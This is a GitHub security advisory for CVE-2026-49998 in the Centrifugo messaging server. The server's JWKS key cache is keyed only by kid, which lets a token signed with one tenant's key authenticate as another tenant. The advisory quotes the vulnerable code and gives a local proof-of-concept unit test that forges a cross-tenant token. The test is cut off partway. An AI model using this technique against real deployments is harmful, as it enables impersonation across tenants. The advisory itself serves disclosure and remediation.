GitHub Advisoryadvisory · Go

GHSA-g6vg-wj8f-48cj Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass

HIGH Published 2026-07-01 Modified 2026-07-01 Official page ↗
Aliases
CVE-2026-49998
Ecosystem
Go
Packages
github.com/centrifugal/centrifugo/v6, github.com/centrifugal/centrifugo/v5, github.com/centrifugal/centrifugo/v4, github.com/centrifugal/centrifugo/v3, github.com/centrifugal/centrifugo
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weaknesses
CWE-347
Reviewed
2026-07-01

Affected packages

• Go github.com/centrifugal/centrifugo/v6: < 6.8.1 → fixed in 6.8.1 • Go github.com/centrifugal/centrifugo/v5: <= 5.4.9 (no fix yet) • Go github.com/centrifugal/centrifugo/v4: <= 4.1.5 (no fix yet) • Go github.com/centrifugal/centrifugo/v3: <= 3.2.3 (no fix yet) • Go github.com/centrifugal/centrifugo: <= 2.4.0 (no fix yet)

Description

Summary Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace. In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager. Details The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims: • `client.token.jwks_public_endpoint` • `client.subscription_token.jwks_public_endpoint` Relevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`. External clients control JWT connection and subscription tokens: • Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`. • Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`. • Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`. The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint: • `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`. • `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`. The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager: ```go func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error { kid := token.Header().KeyID key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars) ``` `internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`: ```go func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) { if kid == "" { return nil, ErrKeyIDNotProvided } if m.useCache { key, err := m.cache.Get(kid) if err == nil { return key, nil } } v, err, _ := m.group.Do(kid, func() (any, error) { return m.fetchKey(ctx, kid, tokenVars) }) ``` The resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`: ```go func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) { jwkURL := m.url.ExecuteString(tokenVars) ... req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil) ``` The TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`: ```go func (tc *TTLCache) Add(key *JWK) error { ... tc.items[key.Kid] = item } func (tc *TTLCache) Get(kid string) (*JWK, error) { ... item, ok := tc.items[kid] ``` As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted. I also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?Ptenant-a|tenant-b)$`. PoC This is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems. From a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`: ```go package jwtverify import ( "crypto/rsa" "encoding/json" "net/http" "net/http/httptest" "sync/atomic" "testing" "time" "github.com/centrifugal/centrifugo/v6/internal/config" "github.com/cristalhq/jwt/v5" "github.com/stretchr/testify/require" ) func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) { t.Helper() resp := map[string]any{ "keys": []map[string]string{ { "alg": "RS256", "kty": "RSA", "use": "sig", "kid": kid, "n": encodeToString(pubKey.N.Bytes()), "e": encodeUint64ToString(uint64(pubKey.E)), }, }, } w.Header().Set("Content-Type", "application/json") require.NoError(t, json.NewEncoder(w).Encode(resp)) } func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string { t.Helper() signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey) require.NoError(t, err) builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid)) claims := &ConnectTokenClaims{ Base64Info: "e30=", RegisteredClaims: jwt.RegisteredClaims{ Subject: user, Issuer: issuer, ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)), }, } token, err := builder.Build(claims) require.NoError(t, err) return token.String() } func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) { const kid = "shared-kid" tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t) tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t) var tenantARequests int32 var tenantBRequests int32 ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/tenant-a/jwks.json": atomic.AddInt32(&tenantARequests, 1) writeRSAJWKS(t, w, tenantAPublicKey, kid) case "/tenant-b/jwks.json": atomic.AddInt32(&tenantBRequests, 1) writeRSAJWKS(t, w, tenantBPublicKey, kid) default: http.NotFound(w, r) } })) defer ts.Close() cfg := config.DefaultConfig() cfgContainer, err := config.NewContainer(cfg) require.NoError(t, err) newVerifier := func() *VerifierJWT { verifier, err := NewTokenVerifierJWT(VerifierConfig{ JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json", IssuerRegex: `^(?Ptenant-a|tenant-b)$`, }, cfgContainer) require.NoError(t, err) return verifier } legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid) legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid) forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid) ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false) require.NoError(t, err) require.Equal(t, "tenant-b-user", ct.UserID) _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false) require.Error(t, err) verifier := new…

Related

Alias · CVE (1)

  • CVE-2026-49998 Centrifugo is an open-source scalable real-time messaging server. vulnerability

Weakness · CWE (1)

  • CWE-347 Improper Verification of Cryptographic Signature weakness

References